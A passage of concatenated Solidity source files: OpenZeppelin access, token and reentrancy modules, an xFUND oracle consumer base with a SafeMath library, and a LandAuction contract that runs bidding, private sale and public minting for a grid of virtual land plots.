external
onlyOwner
returns (bytes32)
{
bytes32 data = 0x4554482e534849422e50522e4156430000000000000000000000000000000000; // ETH.SHIB.PR.AVC
return _requestData(_provider, _fee, data);
}
function withdrawShib(address to, uint256 amount) external onlyOwner {
SHIB.transfer(to, amount);
}
function withdrawAny(
address token,
address to,
uint256 amount
) external onlyOwner {
IERC20(token).transfer(to, amount);
}
function receiveData(uint256 _price, bytes32) internal override {
ethToShib = _price;
}
function _uncheckedInc(uint256 i) internal pure returns (uint256) {
unchecked {
return i + 1;
}
}
function _encodeXY(int16 x, int16 y) internal pure returns (uint32) {
return
((uint32(uint16(x)) * factor) & clearLow) |
(uint32(uint16(y)) & clearHigh);
}
function _decodeXY(uint32 value) internal pure returns (int16 x, int16 y) {
x = _expandNegative16BitCast((value & clearLow) >> 16);
y = _expandNegative16BitCast(value & clearHigh);
}
function _expandNegative16BitCast(uint32 value)
internal
pure
returns (int16)
{
if (value & (1 << 15) != 0) {
return int16(int32(value | clearLow));
}
return int16(int32(value));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../vendor/OOOSafeMath.sol";
import "../interfaces/IERC20_Ex.sol";
import "../interfaces/IRouter.sol";
import "./RequestIdBase.sol";
/**
* @title ConsumerBase smart contract
*
* @dev This contract can be imported by any smart contract wishing to include
* off-chain data or data from a different network within it.
*
* The consumer initiates a data request by forwarding the request to the Router
* smart contract, from where the data provider(s) pick up and process the
* data request, and forward it back to the specified callback function.
*
*/
abstract contract ConsumerBase is RequestIdBase {
using OOOSafeMath for uint256;
/*
* STATE VARIABLES
*/
// nonces for generating requestIds. Must be in sync with the
// nonces defined in Router.sol.
mapping(address => uint256) private nonces;
IERC20_Ex internal immutable xFUND;
IRouter internal router;
/*
* WRITE FUNCTIONS
*/
/**
* @dev Contract constructor. Accepts the address for the router smart contract,
* and a token allowance for the Router to spend on the consumer's behalf (to pay fees).
*
* The Consumer contract should have enough tokens allocated to it to pay fees
* and the Router should be able to use the Tokens to forward fees.
*
* @param _router address of the deployed Router smart contract
* @param _xfund address of the deployed xFUND smart contract
*/
constructor(address _router, address _xfund) {
require(_router != address(0), "router cannot be the zero address");
require(_xfund != address(0), "xfund cannot be the zero address");
router = IRouter(_router);
xFUND = IERC20_Ex(_xfund);
}
/**
* @notice _setRouter is a helper function to allow changing the router contract address
* Allows updating the router address. Future proofing for potential Router upgrades
* NOTE: it is advisable to wrap this around a function that uses, for example, OpenZeppelin's
* onlyOwner modifier
*
* @param _router address of the deployed Router smart contract
*/
function _setRouter(address _router) internal returns (bool) {
require(_router != address(0), "router cannot be the zero address");
router = IRouter(_router);
return true;
}
/**
* @notice _increaseRouterAllowance is a helper function to increase token allowance for
* the xFUND Router
* Allows this contract to increase the xFUND allowance for the Router contract
* enabling it to pay request fees on behalf of this contract.
* NOTE: it is advisable to wrap this around a function that uses, for example, OpenZeppelin's
* onlyOwner modifier
*
* @param _amount uint256 amount to increase allowance by
*/
function _increaseRouterAllowance(uint256 _amount) internal returns (bool) {
// The context of msg.sender is this contract's address
require(xFUND.increaseAllowance(address(router), _amount), "failed to increase allowance");
return true;
}
/**
* @dev _requestData - initialises a data request. forwards the request to the deployed
* Router smart contract.
*
* @param _dataProvider payable address of the data provider
* @param _fee uint256 fee to be paid
* @param _data bytes32 value of data being requested, e.g. PRICE.BTC.USD.AVG requests
* average price for BTC/USD pair
* @return requestId bytes32 request ID which can be used to track or cancel the request
*/
function _requestData(address _dataProvider, uint256 _fee, bytes32 _data)
internal returns (bytes32) {
bytes32 requestId = makeRequestId(address(this), _dataProvider, address(router), nonces[_dataProvider], _data);
// call the underlying ConsumerLib.sol lib's submitDataRequest function
require(router.initialiseRequest(_dataProvider, _fee, _data));
nonces[_dataProvider] = nonces[_dataProvider].safeAdd(1);
return requestId;
}
/**
* @dev rawReceiveData - Called by the Router's fulfillRequest function
* in order to fulfil a data request. Data providers call the Router's fulfillRequest function
* The request is validated to ensure it has indeed been sent via the Router.
*
* The Router will only call rawReceiveData once it has validated the origin of the data fulfillment.
* rawReceiveData then calls the user defined receiveData function to finalise the fulfilment.
* Contract developers will need to override the abstract receiveData function defined below.
*
* @param _price uint256 result being sent
* @param _requestId bytes32 request ID of the request being fulfilled
* has sent the data
*/
function rawReceiveData(
uint256 _price,
bytes32 _requestId) external
{
// validate it came from the router
require(msg.sender == address(router), "only Router can call");
// call override function in end-user's contract
receiveData(_price, _requestId);
}
/**
* @dev receiveData - should be overridden by contract developers to process the
* data fulfilment in their own contract.
*
* @param _price uint256 result being sent
* @param _requestId bytes32 request ID of the request being fulfilled
*/
function receiveData(
uint256 _price,
bytes32 _requestId
) internal virtual;
/*
* READ FUNCTIONS
*/
/**
* @dev getRouterAddress returns the address of the Router smart contract being used
*
* @return address
*/
function getRouterAddress() external view returns (address) {
return address(router);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface ILandRegistry {
function mint(
address user,
int16 x,
int16 y
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./interfaces/IWETH.sol";
import "./interfaces/ILockShiboshi.sol";
import "./interfaces/ILockLeash.sol";
import "./interfaces/ILandRegistry.sol";
import "./interfaces/ILandAuction.sol";
contract LandAuction is ILandAuction, AccessControl, ReentrancyGuard {
using ECDSA for bytes32;
bytes32 public constant GRID_SETTER_ROLE = keccak256("GRID_SETTER_ROLE");
uint32 constant clearLow = 0xffff0000;
uint32 constant clearHigh = 0x0000ffff;
uint32 constant factor = 0x10000;
uint16 public constant N = 194; // xHigh + 97 + 1
uint16 public constant M = 200; // yHigh + 100 + 1
/*
xLow, yHigh gets mapped to 1,1
transform: x + 97, 100 - y
y_mapped = 100 - y
x_mapped = 97 + x
*/
int16 public constant xLow = -96;
int16 public constant yLow = -99;
int16 public constant xHigh = 96;
int16 public constant yHigh = 99;
enum Stage {
Default,
Bidding,
PrivateSale,
PublicSale
}
struct Bid {
uint256 amount;
address bidder;
}
address public immutable weth;
ILandRegistry public landRegistry;
ILockLeash public lockLeash;
ILockShiboshi public lockShiboshi;
bool public multiBidEnabled;
address public signerAddress;
Stage public currentStage;
int8[N + 10][M + 10] private _categoryBIT;
mapping(int16 => mapping(int16 => Bid)) public getCurrentBid;
mapping(int8 => uint256) public priceOfCategory;
mapping(address => uint256) public winningsBidsOf;
mapping(address => uint32[]) private _allBidsOf;
mapping(address => mapping(uint32 => uint8)) private _statusOfBidsOf;
event CategoryPriceSet(int8 category, uint256 price);
event StageSet(uint256 stage);
event SignerSet(address signer);
event multiBidToggled(bool newValue);
event BidCreated(
address indexed user,
uint32 indexed encXY,
int16 x,
int16 y,
uint256 price,
uint256 time
);
event LandBought(
address indexed user,
uint32 indexed encXY,
int16 x,
int16 y,
uint256 price,
Stage saleStage
);
constructor(
address _weth,
ILandRegistry _landRegistry,
ILockLeash _lockLeash,
ILockShiboshi _lockShiboshi
) {
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
_grantRole(GRID_SETTER_ROLE, msg.sender);
weth = _weth;
landRegistry = _landRegistry;
lockLeash = _lockLeash;
lockShiboshi = _lockShiboshi;
signerAddress = msg.sender;
}
modifier onlyValid(int16 x, int16 y) {
require(xLow <= x && x <= xHigh, "ERR_X_OUT_OF_RANGE");
require(yLow <= y && y <= yHigh, "ERR_Y_OUT_OF_RANGE");
_;
}
modifier onlyStage(Stage s) {
require(currentStage == s, "ERR_THIS_STAGE_NOT_LIVE_YET");
_;
}
function weightToCapacity(uint256 weightLeash, uint256 weightShiboshi)
public
pure
returns (uint256)
{
uint256[10] memory QRangeLeash = [
uint256(9),
uint256(30),
uint256(60),
uint256(100),
uint256(130),
uint256(180),
uint256(220),
uint256(300),
uint256(370),
uint256(419)
];
uint256[10] memory QRangeShiboshi = [
uint256(45),
uint256(89),
uint256(150),
uint256(250),
uint256(350),
uint256(480),
uint256(600),
uint256(700),
uint256(800),
uint256(850)
];
uint256[10] memory buckets = [
uint256(1),
uint256(5),
uint256(10),
uint256(20),
uint256(50),
uint256(80),
uint256(100),
uint256(140),
uint256(180),
uint256(200)
];
uint256 capacity;
if (weightLeash > 0) {
for (uint256 i = 9; i >= 0; i = _uncheckedDec(i)) {
if (weightLeash > QRangeLeash[i] * 1e18) {
capacity += buckets[i];
break;
}
}
}
if (weightShiboshi > 0) {
for (uint256 i = 9; i >= 0; i = _uncheckedDec(i)) {
if (weightShiboshi > QRangeShiboshi[i]) {
capacity += buckets[i];
break;
}
}
}
return capacity;
}
function getOutbidPrice(uint256 bidPrice) public pure returns (uint256) {
// 5% more than the current price
return (bidPrice * 21) / 20;
}
function availableCapacityOf(address user) public view returns (uint256) {
uint256 weightLeash = lockLeash.weightOf(user);
uint256 weightShiboshi = lockShiboshi.weightOf(user);
return
weightToCapacity(weightLeash, weightShiboshi) -
winningsBidsOf[user];
}
function getReservePrice(int16 x, int16 y) public view returns (uint256) {
uint256 price = priceOfCategory[getCategory(x, y)];
require(price != 0, "ERR_NOT_UP_FOR_SALE");
return price;
}
function getPriceOf(int16 x, int16 y) public view returns (uint256) {
Bid storage currentBid = getCurrentBid[x][y];
if (currentBid.amount == 0) {
return getReservePrice(x, y);
} else {
// attempt to outbid
return getOutbidPrice(currentBid.amount);
}
}
function getCategory(int16 x, int16 y) public view returns (int8) {
(uint16 x_mapped, uint16 y_mapped) = _transformXY(x, y);
int8 category;
for (uint16 i = x_mapped; i > 0; i = _subLowbit(i)) {
for (uint16 j = y_mapped; j > 0; j = _subLowbit(j)) {
unchecked {
category += _categoryBIT[i][j];
}
}
}
return category;
}
function isShiboshiZone(int16 x, int16 y) public pure returns (bool) {
/*
(12,99) to (48, 65)
(49, 99) to (77, 78)
(76, 77) to (77, 50)
(65, 50) to (75, 50)
*/
if (x >= 12 && x <= 48 && y <= 99 && y >= 65) {
return true;
}
if (x >= 49 && x <= 77 && y <= 99 && y >= 78) {
return true;
}
if (x >= 76 && x <= 77 && y <= 77 && y >= 50) {
return true;
}
if (x >= 65 && x <= 75 && y == 50) {
return true;
}
return false;
}
// List of currently winning bids of this user
function bidInfoOf(address user)
external
view
returns (int16[] memory, int16[] memory)
{
uint256 bidCount = winningsBidsOf[user];
int16[] memory xs = new int16[](bidCount);
int16[] memory ys = new int16[](bidCount);
uint256 ptr;
uint32[] storage allBids = _allBidsOf[user];
uint256 length = allBids.length;
for (uint256 i = 0; i < length; i = _uncheckedInc(i)) {
if (_statusOfBidsOf[user][allBids[i]] == 1) {
(int16 x, int16 y) = _decodeXY(allBids[i]);
xs[ptr] = x;
ys[ptr] = y;
ptr = _uncheckedInc(ptr);
}
}
return (xs, ys);
}
// List of all bids, ever done by this user
function allBidInfoOf(address user)
external
view
returns (int16[] memory, int16[] memory)
{
uint32[] storage allBids = _allBidsOf[user];
uint256 bidCount = allBids.length;
int16[] memory xs = new int16[](bidCount);
int16[] memory ys = new int16[](bidCount);
for (uint256 i = 0; i < bidCount; i = _uncheckedInc(i)) {
(int16 x, int16 y) = _decodeXY(allBids[i]);
xs[i] = x;
ys[i] = y;
}
return (xs, ys);
}
function setGridVal(
int16 x1,
int16 y1,
int16 x2,
int16 y2,
int8 val
) external onlyRole(GRID_SETTER_ROLE) {
(uint16 x1_mapped, uint16 y1_mapped) = _transformXY(x1, y1);
(uint16 x2_mapped, uint16 y2_mapped) = _transformXY(x2, y2);
_updateGrid(x2_mapped + 1, y2_mapped + 1, val);
_updateGrid(x1_mapped, y1_mapped, val);
_updateGrid(x1_mapped, y2_mapped + 1, -val);
_updateGrid(x2_mapped + 1, y1_mapped, -val);
}
function setPriceOfCategory(int8 category, uint256 price)
external
onlyRole(GRID_SETTER_ROLE)
{
priceOfCategory[category] = price;
emit CategoryPriceSet(category, price);
}
function setStage(uint256 stage) external onlyRole(DEFAULT_ADMIN_ROLE) {
currentStage = Stage(stage);
emit StageSet(stage);
}
function setSignerAddress(address signer)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(signer != address(0), "ERR_CANNOT_BE_ZERO_ADDRESS");
signerAddress = signer;
emit SignerSet(signer);
}
function setLandRegistry(address _landRegistry)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
landRegistry = ILandRegistry(_landRegistry);
}
function setLockLeash(address _lockLeash)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
lockLeash = ILockLeash(_lockLeash);
}
function setLockShiboshi(address _lockShiboshi)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
lockShiboshi = ILockShiboshi(_lockShiboshi);
}
function setMultiBid(bool desiredValue)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(multiBidEnabled != desiredValue, "ERR_ALREADY_DESIRED_VALUE");
multiBidEnabled = desiredValue;
emit multiBidToggled(desiredValue);
}
function withdraw(address to, uint256 amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
payable(to).transfer(amount);
}
function bidOne(int16 x, int16 y)
external
payable
onlyStage(Stage.Bidding)
nonReentrant
{
address user = msg.sender;
require(availableCapacityOf(user) != 0, "ERR_NO_BIDS_REMAINING");
require(!isShiboshiZone(x, y), "ERR_NO_MINT_IN_SHIBOSHI_ZONE");
_bid(user, x, y, msg.value);
}
function bidShiboshiZoneOne(
int16 x,
int16 y,
bytes calldata signature
) external payable onlyStage(Stage.Bidding) nonReentrant {
address user = msg.sender;
require(
_verifySigner(_hashMessage(user), signature),
"ERR_SIGNATURE_INVALID"
);
require(isShiboshiZone(x, y), "ERR_NOT_IN_SHIBOSHI_ZONE");
_bid(user, x, y, msg.value);
}
function bidMulti(
int16[] calldata xs,
int16[] calldata ys,
uint256[] calldata prices
) external payable onlyStage(Stage.Bidding) nonReentrant {
require(multiBidEnabled, "ERR_MULTI_BID_DISABLED");
address user = msg.sender;
uint256 length = xs.length;
require(length != 0, "ERR_NO_INPUT");
require(length == ys.length, "ERR_INPUT_LENGTH_MISMATCH");
require(length == prices.length, "ERR_INPUT_LENGTH_MISMATCH");
uint256 total;
require(
availableCapacityOf(user) >= length,
"ERR_INSUFFICIENT_BIDS_REMAINING"
);
for (uint256 i = 0; i < length; i = _uncheckedInc(i)) {
total += prices[i];
}
require(msg.value == total, "ERR_INSUFFICIENT_AMOUNT_SENT");
for (uint256 i = 0; i < length; i = _uncheckedInc(i)) {
int16 x = xs[i];
int16 y = ys[i];
require(!isShiboshiZone(x, y), "ERR_NO_MINT_IN_SHIBOSHI_ZONE");
_bid(user, x, y, prices[i]);
}
}
function bidShiboshiZoneMulti(
int16[] calldata xs,
int16[] calldata ys,
uint256[] calldata prices,
bytes calldata signature
) external payable onlyStage(Stage.Bidding) nonReentrant {
require(multiBidEnabled, "ERR_MULTI_BID_DISABLED");
address user = msg.sender;
require(
_verifySigner(_hashMessage(user), signature),
"ERR_SIGNATURE_INVALID"
);
uint256 length = xs.length;
require(length != 0, "ERR_NO_INPUT");
require(length == ys.length, "ERR_INPUT_LENGTH_MISMATCH");
require(length == prices.length, "ERR_INPUT_LENGTH_MISMATCH");
uint256 total;
for (uint256 i = 0; i < length; i = _uncheckedInc(i)) {
total += prices[i];
}
require(msg.value == total, "ERR_INSUFFICIENT_AMOUNT_SENT");
for (uint256 i = 0; i < length; i = _uncheckedInc(i)) {
int16 x = xs[i];
int16 y = ys[i];
require(isShiboshiZone(x, y), "ERR_NOT_IN_SHIBOSHI_ZONE");
_bid(user, x, y, prices[i]);
}
}
function mintWinningBid(int16[] calldata xs, int16[] calldata ys) external {
require(
currentStage == Stage.PublicSale ||
currentStage == Stage.PrivateSale,
"ERR_MUST_WAIT_FOR_BIDDING_TO_END"
);
uint256 length = xs.length;
require(length == ys.length, "ERR_INPUT_LENGTH_MISMATCH");
for (uint256 i = 0; i < length; i = _uncheckedInc(i)) {
int16 x = xs[i];
int16 y = ys[i];
require(xLow <= x && x <= xHigh, "ERR_X_OUT_OF_RANGE");
require(yLow <= y && y <= yHigh, "ERR_Y_OUT_OF_RANGE");
address user = getCurrentBid[x][y].bidder;
require(user != address(0), "ERR_NO_BID_FOUND");
landRegistry.mint(user, x, y);
}
}
function mintPrivate(int16 x, int16 y)
external
payable
onlyStage(Stage.PrivateSale)
nonReentrant
{
require(availableCapacityOf(msg.sender) != 0, "ERR_NO_BIDS_REMAINING");
require(!isShiboshiZone(x, y), "ERR_NO_MINT_IN_SHIBOSHI_ZONE");
_mintPublicOrPrivate(msg.sender, x, y);
emit LandBought(
msg.sender,
_encodeXY(x, y),
x,
y,
msg.value,
Stage.PrivateSale
);
}
function mintPrivateShiboshiZone(
int16 x,
int16 y,
bytes calldata signature
) external payable onlyStage(Stage.PrivateSale) nonReentrant {
require(
_verifySigner(_hashMessage(msg.sender), signature),
"ERR_SIGNATURE_INVALID"
);
require(isShiboshiZone(x, y), "ERR_NOT_IN_SHIBOSHI_ZONE");
_mintPublicOrPrivate(msg.sender, x, y);
emit LandBought(
msg.sender,
_encodeXY(x, y),
x,
y,
msg.value,
Stage.PrivateSale
);
}
function mintPublic(int16 x, int16 y)
external
payable
onlyStage(Stage.PublicSale)
nonReentrant
{
_mintPublicOrPrivate(msg.sender, x, y);
emit LandBought(
msg.sender,
_encodeXY(x, y),
x,
y,
msg.value,
Stage.PublicSale
);
}
// transform: +97, +100
function _transformXY(int16 x, int16 y)
internal
pure
onlyValid(x, y)
returns (uint16, uint16)
{
return (uint16(x + 97), uint16(100 - y));
}
function _bid(
address user,
int16 x,
int16 y,
uint256 price
) internal onlyValid(x, y) {
uint32 encXY = _encodeXY(x, y);
Bid storage currentBid = getCurrentBid[x][y];
if (currentBid.amount == 0) {
// first bid on this land
require(
price >= getReservePrice(x, y),
"ERR_INSUFFICIENT_AMOUNT_SENT"
);
} else {
// attempt to outbid
require(user != currentBid.bidder, "ERR_CANNOT_OUTBID_YOURSELF");
require(
price >= getOutbidPrice(currentBid.amount),
"ERR_INSUFFICIENT_AMOUNT_SENT"
);
_safeTransferETHWithFallback(currentBid.bidder, currentBid.amount);
winningsBidsOf[currentBid.bidder] -= 1;
_statusOfBidsOf[currentBid.bidder][encXY] = 2;
}
currentBid.bidder = user;
currentBid.amount = price;
winningsBidsOf[user] += 1;
if (_statusOfBidsOf[user][encXY] == 0) {
// user has never bid on this land earlier
_allBidsOf[user].push(encXY);
}
_statusOfBidsOf[user][encXY] = 1;
emit BidCreated(user, encXY, x, y, price, block.timestamp);
}
function _mintPublicOrPrivate(
address user,
int16 x,
int16 y
) internal onlyValid(x, y) {
Bid storage currentBid = getCurrentBid[x][y];
require(currentBid.amount == 0, "ERR_NOT_UP_FOR_SALE");
require(
msg.value == getReservePrice(x, y),
"ERR_INSUFFICIENT_AMOUNT_SENT"
);
currentBid.bidder = user;
currentBid.amount = msg.value;
winningsBidsOf[user] += 1;
uint32 encXY = _encodeXY(x, y);
_allBidsOf[user].push(encXY);
_statusOfBidsOf[user][encXY] = 1;
landRegistry.mint(user, x, y);
}
function _hashMessage(address sender) private pure returns (bytes32) {
return keccak256(abi.encodePacked(sender));
}
function _verifySigner(bytes32 messageHash, bytes memory signature)
private
view
returns (bool)
{
return
signerAddress ==
messageHash.toEthSignedMessageHash().recover(signature);
}
/**
* @notice Transfer ETH. If the ETH transfer fails, wrap the ETH and try send it as WETH.
*/
function _safeTransferETHWithFallback(address to, uint256 amount) internal {
if (!_safeTransferETH(to, amount)) {
IWETH(weth).deposit{value: amount}();
IERC20(weth).transfer(to, amount);
}
}
/**
* @notice Transfer ETH and return the success status.
* @dev This function only forwards 30,000 gas to the callee.
*/
function _safeTransferETH(address to, uint256 value)
internal
returns (bool)
{
(bool success, ) = to.call{value: value, gas: 30_000}(new bytes(0));
return success;
}
function _uncheckedInc(uint256 i) internal pure returns (uint256) {
unchecked {
return i + 1;
}
}
function _uncheckedDec(uint256 i) internal pure returns (uint256) {
unchecked {
return i - 1;
}
}
function _encodeXY(int16 x, int16 y) internal pure returns (uint32) {
return
((uint32(uint16(x)) * factor) & clearLow) |
(uint32(uint16(y)) & clearHigh);
}
function _decodeXY(uint32 value) internal pure returns (int16 x, int16 y) {
x = _expandNegative16BitCast((value & clearLow) >> 16);
y = _expandNegative16BitCast(value & clearHigh);
}
function _expandNegative16BitCast(uint32 value)
internal
pure
returns (int16)
{
if (value & (1 << 15) != 0) {
return int16(int32(value | clearLow));
}
return int16(int32(value));
}
// Functions for BIT
function _updateGrid(
uint16 x,
uint16 y,
int8 val
) internal {
for (uint16 i = x; i <= N; i = _addLowbit(i)) {
for (uint16 j = y; j <= M; j = _addLowbit(j)) {
unchecked {
_categoryBIT[i][j] += val;
}
}
}
}
function _addLowbit(uint16 i) internal pure returns (uint16) {
unchecked {
return i + uint16(int16(i) & (-int16(i)));
}
}
function _subLowbit(uint16 i) internal pure returns (uint16) {
unchecked {
return i - uint16(int16(i) & (-int16(i)));
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library OOOSafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function saveDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function safeMod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20_Ex {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
